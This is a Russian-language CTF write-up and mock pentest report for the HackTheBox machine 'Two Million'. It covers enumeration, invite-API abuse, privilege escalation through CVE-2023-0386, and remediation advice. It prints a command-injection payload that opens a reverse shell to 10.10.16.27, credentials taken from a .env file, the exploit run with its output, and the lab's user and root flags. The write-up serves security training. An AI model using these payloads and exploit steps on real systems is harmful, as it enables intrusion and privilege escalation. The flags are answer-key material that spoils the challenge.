Two Million
Область тестирования
| IP/домен | Порт | Сервис |
|---|---|---|
| localhost | Port Scanner | |
| localhost | Web Directory Fuzzing | |
| 10.10.11.221 | 80 | Web Server |
| localhost | 8000 | Downloads server |
| localhost | decryption | |
| localhost | 1234 | Reverse shell server |
| 10.10.11.221 | 22 | SSH |
Порядок действий
1) Сканирование портов с помощью nmap.
- Результаты:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2) Запуск kex для просмотра директорий
kex --win3) Запуск gobuster для поиска директорий
Результаты:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://2million.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404,301
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 302) [Size: 0] [--> /]
/login (Status: 200) [Size: 3704]
/register (Status: 200) [Size: 4527]
/api (Status: 401) [Size: 0]
/logout (Status: 302) [Size: 0] [--> /]
/404 (Status: 200) [Size: 1674]
/0404 (Status: 200) [Size: 1674]
/invite (Status: 200) [Size: 3859]
Progress: 26249 / 220561 (11.90%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 26273 / 220561 (11.91%)
===============================================================
Finished
===============================================================
4) Заходим на веб сервер и смотрим на страницу
5) Нашел файл source22, в котором нашел эндпоинт /api/v1/invite/how/to/generate.
6) Написав в консоли и получив ключ, я пошел проверять эндпоинты.
- Команды:
┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/generate
- Результат:
{"0":200,"success":1,"data":{"code":"TE9PSTQtWkowN1ItVlJMWkItTTFFVkM=","format":"encoded"}}
7) При проверке /api/v1, я нашел страницу /api/v1/admin/settings/update, которая обновляет пользовательские настройки.
Результат:

8) Меня заинтересовала строчка /api/v1/user/auth, с которой можно посмотреть, админ ли ты или нет.
Результат:

9) Я попробовал сделать себя админом:
Попытки:
10) Попробуем по-другому:Результат:
Ура!11) Т. к. мы админы, мы можем попробовать получить reverse shell:
Команды:

Результат:

12) Далее я посмотрел пользователей и увидел admin. Прочитав /html/.env, обнаружил это и поменял пользователя:
Результат:
www-data@2million:~/html$ ls -la
\ls -la
total 56
drwxr-xr-x 10 root root 4096 Nov 6 16:20 .
drwxr-xr-x 3 root root 4096 Jun 6 2023 ..
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php
drwxr-xr-x 5 root root 4096 Nov 6 16:20 VPN
drwxr-xr-x 2 root root 4096 Jun 6 2023 assets
drwxr-xr-x 2 root root 4096 Jun 6 2023 controllers
drwxr-xr-x 5 root root 4096 Jun 6 2023 css
drwxr-xr-x 2 root root 4096 Jun 6 2023 fonts
drwxr-xr-x 2 root root 4096 Jun 6 2023 images
-rw-r--r-- 1 root root 2692 Jun 2 2023 index.php
drwxr-xr-x 3 root root 4096 Jun 6 2023 js
drwxr-xr-x 2 root root 4096 Jun 6 2023 views
www-data@2million:~/html$ cat .e
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$ su admin
su admin
Password: SuperDuperPass123
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@2million:/var/www/html$
13) Чтобы было легче, поменял reverse shell на ssh:
- Результат:
└─$ ssh admin@10.10.11.221
The authenticity of host '10.10.11.221 (10.10.11.221)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.221' (ED25519) to the list of known hosts.
admin@10.10.11.221's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Nov 6 04:30:07 PM UTC 2024
System load: 0.0224609375 Processes: 264
Usage of /: 88.1% of 4.82GB Users logged in: 1
Memory usage: 16% IPv4 address for eth0: 10.10.11.221
Swap usage: 0%
=> / is using 88.1% of 4.82GB
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Wed Nov 6 15:34:28 2024 from 10.10.14.216
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@2million:~$
14) Читаем флаг:
- Результат:
admin@2million:~$ cat user
cat user.txt
b4deb861f6727786a61b22a28604963d
15) Я попытался прочесть /etc/shadow:
- Результат:
admin@2million:~$ sudo -l
[sudo] password for admin:
Sorry, user admin may not run sudo on localhost.
admin@2million:~$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/19122/usr/lib/snapd/snap-confine
/snap/core20/1891/usr/bin/chfn
/snap/core20/1891/usr/bin/chsh
/snap/core20/1891/usr/bin/gpasswd
/snap/core20/1891/usr/bin/mount
/snap/core20/1891/usr/bin/newgrp
/snap/core20/1891/usr/bin/passwd
/snap/core20/1891/usr/bin/su
/snap/core20/1891/usr/bin/sudo
/snap/core20/1891/usr/bin/umount
/snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1891/usr/lib/openssh/ssh-keysign
/home/admin/CVE-2023-0386-master/ovlcap/lower/file
/home/admin/CVE-2023-0386-master/ovlcap/upper/file
/tmp/CVE-2023-0386-master/ovlcap/upper/file
/tmp/CVE-2023-0386/ovlcap/lower/file
/tmp/CVE-2023-0386/ovlcap/upper/file
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
admin@2million:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000::/home/admin:/bin/bash
memcache:x:115:121:Memcached,,,:/nonexistent:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
admin@2million:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
16) Посмотрим, что нам выдаст linpeas (самое интересное):
- Результат:

Вывод: то есть нас интересует уязвимость CVE-2023-0386.
17) Действуя по инструкции в README.md все получилось:
Результат:
# Installation
```bash
make all
# How to use
Start two terminals and in the first one type
```bash
./fuse ./ovlcap/lower ./gc
In the second terminal type
```bash
./exp
admin@2million:~/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
mkdir: File exists
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
fuse_mount: File exists
admin@2million:~$ cd CVE-2023-0386-master/
admin@2million:~/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Nov 6 16:42 .
drwxrwxr-x 6 root root 4096 Nov 6 15:30 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:~/CVE-2023-0386-master# ls
exp exp.c fuse fuse.c gc getshell.c Makefile ovlcap README.md test
root@2million:~/CVE-2023-0386-master# cd ~
root@2million:~# ls
CVE-2023-0386-master linpeas.sh linpeas_small.sh master.zip snap user.txt
root@2million:~# cd /root
root@2million:/root# ls
root.txt snap thank_you.json
root@2million:/root# cat root.txt
230d57d3a18d7360d55b76815f7ad823
root@2million:/root#
18) Ну, и как без этого, читаем thank_you.json:
- Результат:
root@2million:/root# cat thank_you.json
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}
После декодирования:
Dear HackTheBox Community,
We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.
From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.
To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.
Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.
With deepest gratitude,
Найденные уязвимости
Information Disclosure
PoC:

CVSSv3 Score: 10.0 (Critical)
Описание:
Уязвимость связана с недостаточной защитой API, которая приводит к раскрытию конфиденциальной информации. В результате злоумышленник может получить доступ к критическим ресурсам системы, таким как invite код для регистрации. Через доступный API злоумышленник может с легкостью производить действия, которые должны быть ограничены и защищены.
Вопроизведение уязвимости:
┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
┌──(kolya080808㉿Nikolapc)-[~]
└─$ curl -X POST 2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"TE9PSTQtWkowN1ItVlJMWkItTTFFVkM=","format":"encoded"}}
┌──(kolya080808㉿Nikolapc)-[~]
└─$
Рекомендации по устранению:
- Защита API: Ограничьте доступ к API методам, связанным с генерацией и получением invite кодов. Разрешите доступ только авторизованным пользователям с соответствующими привилегиями.
- Шифрование чувствительных данных: Используйте более безопасные методы шифрования данных. Избегайте использования простых шифровок, как ROT13, которые могут быть легко обратимы.
Command Injection
PoC:

CVSSv3 Score: 7.2 (High)
Описание:
Внедрение команд — это атака, целью которой является выполнение произвольных команд в операционной системе хоста через уязвимое приложение. Атаки с помощью внедрения команд возможны, когда приложение передает небезопасные данные, предоставленные пользователем (формы, файлы cookie, HTTP-заголовки и т. д.) в системную оболочку. При этой атаке команды операционной системы, предоставленные злоумышленником, обычно выполняются с привилегиями уязвимого приложения. Атаки с внедрением команд возможны во многом из-за недостаточной проверки ввода.
Следующий PoC:
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, */*;q=0.8, application/signed-exchange; v=b3;q=0.7
Referer: http://2million.htb/home/access
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ces8ngtj vr3h7rncig6r9ee9uf
Connection: keep-alive
Content-Type: application/json Content-Length: 74
{
"username": "kusdapoi[fjnadosj$ (bash -c 'sh -i >& /dev/tcp/10.10.16.27/1234 0>&1')"
}
Позволяет выполнять произвольные команды на сервере:

Рекомендации по устранению:
- https://owasp.org/www-community/attacks/Command_Injection
- Исправить Information Disclosure
CVE-2023-0386
PoC:

CVSSv3 Score: 10.0 (Critical)
Описание:
Уязвимость CVE-2023-0386 связана с повышением привилегий в операционной системе Linux, когда злоумышленник может воспользоваться неправильной конфигурацией системы или программного обеспечения, чтобы получить права суперпользователя (root). Эта уязвимость позволяет локальным пользователям повысить свои привилегии, используя неправильно настроенный компонент системы.
Следующий PoC:
admin@2million:~/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
mkdir: File exists
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
fuse_mount: File exists
admin@2million:~$ cd CVE-2023-0386-master/
admin@2million:~/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Nov 6 16:42 .
drwxrwxr-x 6 root root 4096 Nov 6 15:30 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:~/CVE-2023-0386-master# ls
exp exp.c fuse fuse.c gc getshell.c Makefile ovlcap README.md test
root@2million:~/CVE-2023-0386-master# cd ~
root@2million:~# ls
CVE-2023-0386-master linpeas.sh linpeas_small.sh master.zip snap user.txt
root@2million:~# cd /root
root@2million:/root# ls
Рекомендации по устранению
Обновление системы:
- Установите последние обновления безопасности и патчи для операционной системы и соответствующих компонентов, чтобы устранить уязвимость CVE-2023-0386.
- Регулярно проверяйте наличие обновлений и применяйте их своевременно.
Ограничение прав доступа:
- Ограничьте права доступа к чувствительным файлам и системным компонентам.
- Убедитесь, что только уполномоченные пользователи и процессы имеют доступ к критическим ресурсам.
Контроль доступа:
- Внедрите строгие политики контроля доступа, чтобы предотвратить несанкционированное выполнение кода или доступ к привилегированным ресурсам.
- Используйте механизмы SELinux или AppArmor для дополнительного контроля доступа и защиты системы.
Обучение персонала:
- Проводите регулярное обучение сотрудников по вопросам безопасности и повышения осведомленности о возможных угрозах.
- Обеспечьте, чтобы все пользователи знали о лучших практиках безопасности и соблюдали их.
Видео выполнения: